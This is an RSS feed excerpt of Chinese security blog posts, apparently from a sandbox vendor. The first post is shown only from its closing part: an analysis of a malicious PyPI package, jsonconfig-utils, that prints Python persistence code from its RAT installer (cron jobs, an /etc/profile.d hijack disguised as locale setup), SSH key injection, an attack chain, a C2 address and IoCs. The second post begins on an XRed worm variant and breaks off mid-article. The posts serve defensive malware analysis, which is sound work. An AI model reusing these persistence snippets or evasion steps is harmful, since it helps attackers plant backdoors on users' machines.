&amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf="">_ct+=<span class="code-snippet__string">&#34;*/360 * * * * pgrep -f &#34;</span>+os.path.basename(_fp)+<span class="code-snippet__string">&#34; || &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># /etc/profile.d shell 劫持（仅 root）</span></span></code><br/><code><span leaf="">_script = <span class="code-snippet__string">f&#34;#!/bin/sh\n# System locale configuration\npgrep -f </span><span class="code-snippet__string"><span class="code-snippet__subst">{os.path.basename(_fp)}</span></span><span class="code-snippet__string"> &gt;/dev/null 2&gt;&amp;1 || </span><span class="code-snippet__string"><span class="code-snippet__subst">{_py}</span></span><span class="code-snippet__string"><span class="code-snippet__subst">{_fp}</span></span><span class="code-snippet__string"> &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/etc/profile.d/locale-setup.sh&#34;</span>, <span class="code-snippet__string">&#34;w&#34;</span>) <span class="code-snippet__keyword">as</span> f: f.write(_script)</span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">落地文件名 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">journald-gc.py</span></code><span leaf="">（root）/ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cache-gc.py</span></code><span leaf="">（普通用户），模拟 systemd 内部组件</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳对齐系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/bin/ls</span></code><span leaf="">，目录时间戳同步</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">root 专属攻击：SSH 公钥注入</span></strong><p><span leaf=""> — 将攻击者 RSA 公钥（标签 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ops</span></code><span leaf="">）写入 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/root/.ssh/authorized_keys</span></code><span leaf="">，实现永久 SSH 后门，独立于 RAT 存活</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">四重持久化：systemd 服务 + crontab（重启+定时检活）+ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/etc/profile.d/locale-setup.sh</span></code><span leaf=""> 全局 shell 脚本劫持（root）</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/etc/profile.d/locale-setup.sh</span></code><span leaf=""> 伪装为”系统区域设置配置”，任何用户登录 shell 时均会触发。</span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">7. 攻击链总结</span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">pip</span> install jsonconfig-utils</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">setup.py 执行</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► _check() 环境评分</span></code><br/><code><span leaf="">│    ├── 容器/CI/云环境 → 减分 → 分数 &lt; <span class="code-snippet__number">6</span> → 终止</span></code><br/><code><span leaf="">│    └── 真实用户主机 → 分数 ≥ <span class="code-snippet__number">6</span> → 继续</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">_install() 触发</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► Windows: 落地 msedge_update.pyw</span></code><br/><code><span leaf="">│    ├── 计划任务 AU_Maint（ONLOGON + HIGHEST）</span></code><br/><code><span leaf="">│    ├── 注册表 Run 键 NGenTask</span></code><br/><code><span leaf="">│    └── 立即以 pythonw.exe 静默启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► macOS: 落地 cloudd_helper.py</span></code><br/><code><span leaf="">│    ├── LaunchAgent com.apple.icloud.cloudd</span></code><br/><code><span leaf="">│    ├── .zshrc/.zprofile 注入（conda 伪装）</span></code><br/><code><span leaf="">│    ├── crontab <span class="code-snippet__variable">@reboot</span></span></code><br/><code><span leaf="">│    └── 立即后台启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">└─► Linux: 落地 journald-gc.py / cache-gc.py</span></code><br/><code><span leaf="">├── SSH 公钥注入（root）</span></code><br/><code><span leaf="">├── systemd 服务（enable + start）</span></code><br/><code><span leaf="">├── crontab（<span class="code-snippet__variable">@reboot</span> + */360min 检活）</span></code><br/><code><span leaf="">├── /etc/profile.d/locale-setup.sh（root）</span></code><br/><code><span leaf="">└── 立即 start_new_session 启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">RAT Agent 运行</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">└─► SSL 连接 <span class="code-snippet__number">77.246.103.245:443</span></span></code><br/><code><span leaf="">├── 上报主机信息</span></code><br/><code><span leaf="">├── 心跳（<span class="code-snippet__number">15s</span>）</span></code><br/><code><span leaf="">└── 等待并执行远程指令</span></code><br/></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">8. 关键 IoC（失陷指标）</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7916666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005403" src="https://wechat2rss.xlab.app/img-proxy/?k=2e19431d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtcELmbKSNEiaY0gDiasBlHGubV2S7avUpLs1M2Ew8y0NI5CXC4jf5nwjBKCMRZMHVvRReFdP0vF22cibZ1OUiclxjjGof9rVYcmsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">9. 总结</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig-utils</span></code><span leaf=""> 是一个具有较高技术水准的供应链攻击包，攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">伪装合法功能</span></strong><p><span leaf="">：主模块 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig_utils.py</span></code><span leaf=""> 实现了完整的 JSON 配置工具功能，以降低安全扫描工具和人工审查的警惕性。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">精密反沙箱检测</span></strong><p><span leaf="">：通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分，仅在确认为真实用户环境时才触发攻击，有效规避自动化检测。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">双重混淆载荷</span></strong><p><span leaf="">：RAT 代码经 Base64 + XOR 双重加密存储，静态特征难以识别。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">跨平台攻击</span></strong><p><span leaf="">：同一个 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">多重持久化 + 时间戳伪造</span></strong><p><span leaf="">：每个平台均部署 2 种以上持久化机制互为兜底，并对落地文件的时间戳进行伪造，增加取证难度。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SSH 后门（Linux root）</span></strong><p><span leaf="">：在获得 root 权限的 Linux 环境中额外注入 SSH 公钥，即使 RAT 进程被清除，攻击者仍可通过 SSH 重新进入系统。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">建议用户避免安装不可信的第三方 Python 包，天问Python供应链威胁监测模块将持续对 PyPI 进行监测。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意包信息</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.54296875" data-s="300,640" data-type="png" data-w="1280" style="width:578px;height:314px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/QSjGzxHEMdvGWjgqCrUibgm6pzEut3M2L1G4QkovbgQMlAhTzZjdGLNRj88VOtvoGeUh0ogJFJ6oROiawsL7icYD4iaFgK53UqicUbiceic27vY19I/0?wx_fmt=png&amp;from=appmsg" data-cropx2="1558.0000000000002" data-cropy1="78.16955017301038" data-cropy2="924.5570934256054" data-imgfileid="100005404" src="https://wechat2rss.xlab.app/img-proxy/?k=39d33b81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdupNYS8mh5JtY9uzKZ9QcBLXgicfEF8PEuom2FFCRGejyd6xVQRJh8FXZqxC35bFe77Br6bbeNicDQvic2WvIURlMI2Eo5qlaZfrE%2F640%3Fwx_fmt%3Djpeg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=05c9cad3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489077%26idx%3D1%26sn%3D10b43bea80dfb77b171d5da8b83fa3ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Mar 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】新年伊始，未知文件别乱点</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489076&amp;idx=1&amp;sn=6efee85d03241a1eb1bff49ace925b27</link>
      <description>近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-02 17:48</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e489af04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdtKY8AdkptdFcsAP7jnSUZIVRCV4x7iaJHtGattytfPCHwQbCs1QYEAfNCoAcwicLZUDKvNHuR5kJWnDPLicN8kngic57H97WIXSSo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</p>
  <h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">一、概述</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">二、样本信息</span></h1><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名: SB360.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1: 0dc1b2aa1b7e628c2c85dfda891683dd13af845a</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型: EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小: 5.31 MB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">家族归属: XRed家族</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接: </span></p><p><span leaf="">[天穹沙箱分析报告](<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)</a></span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三、样本分析</span></h1><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005427" data-ratio="0.5453703703703704" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=30348bd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtzcyVuCMkU7aRkMxZCWECf9vGnmgia0WloGBEV6vJ5YgUjFLLsI9pkloCE2xUpMmRNmp5fO4m53AJQpvDnU6OREfTNCXIt59as%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 样本进程攻击执行链</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本进程 SB360.exe 执行后释放文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf="">，并将该文件属性修改为隐藏以降低被用户发现的概率，随后立即执行该文件。同时，样本进程通过创建名为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">Synaptics Pointing Device Driver</span></strong><span leaf=""> 的自启动项建立持久化机制，使 Synaptics.exe 在系统启动时自动运行，如图 2 所示。Synaptics.exe 启动后会访问域名 xred[.]mooo[.]com 和 freedns[.]afraid[.]org 进行网络通信，如图 3 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.05925925925925926" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005414" src="https://wechat2rss.xlab.app/img-proxy/?k=14497e15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvK830ejVBlQicsicok5IAOznhLgfLBdr42h9zGAA0qUjibJVmYRlTibr7CVu8lCTOaOPyz1u4ZPJicPvTd1D8zEojFTnqRNZbpyIQk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 设置 Synaptics 自启动项</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.07222222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005411" src="https://wechat2rss.xlab.app/img-proxy/?k=8369540f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvnMw5vOcqTq3BPLKbia9KoCmeic6EqKqFhPtEVU1wArrBLvrE4XRWjAeKaAeicFfuCm5qAPSEXJ3ic9MWMKEibtecueB6k93PjFe40%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 Synaptics 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf=""> 进程随后释放 HD_._cache_SB360.exe 和 svchost.exe 文件，并通过创建系统服务的方式运行 svchost.exe，从而间接执行 HD_._cache_SB360.exe 文件。同时，该进程还设置 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">._cache_SB360.exe</span></code><span leaf=""> 自身以及 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">HD_ls.exe</span></strong><span leaf=""> 为开机自启动程序，并访问域名 qq678833[.]f08[.]87yun[.]club。如图 4、5、6 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.06388888888888888" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005412" src="https://wechat2rss.xlab.app/img-proxy/?k=02377fd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtJjKsVRoqZAuTsibGbevO6zUDRk3CWurEA9iaWq5mN7nyUTQEE9iayGnKD60wiaHyHuHwvibg7Ibkmjp6ah8sQicPjZdicGBk859pfks%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 设置 ._cache_SB360.exe 自启动</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: 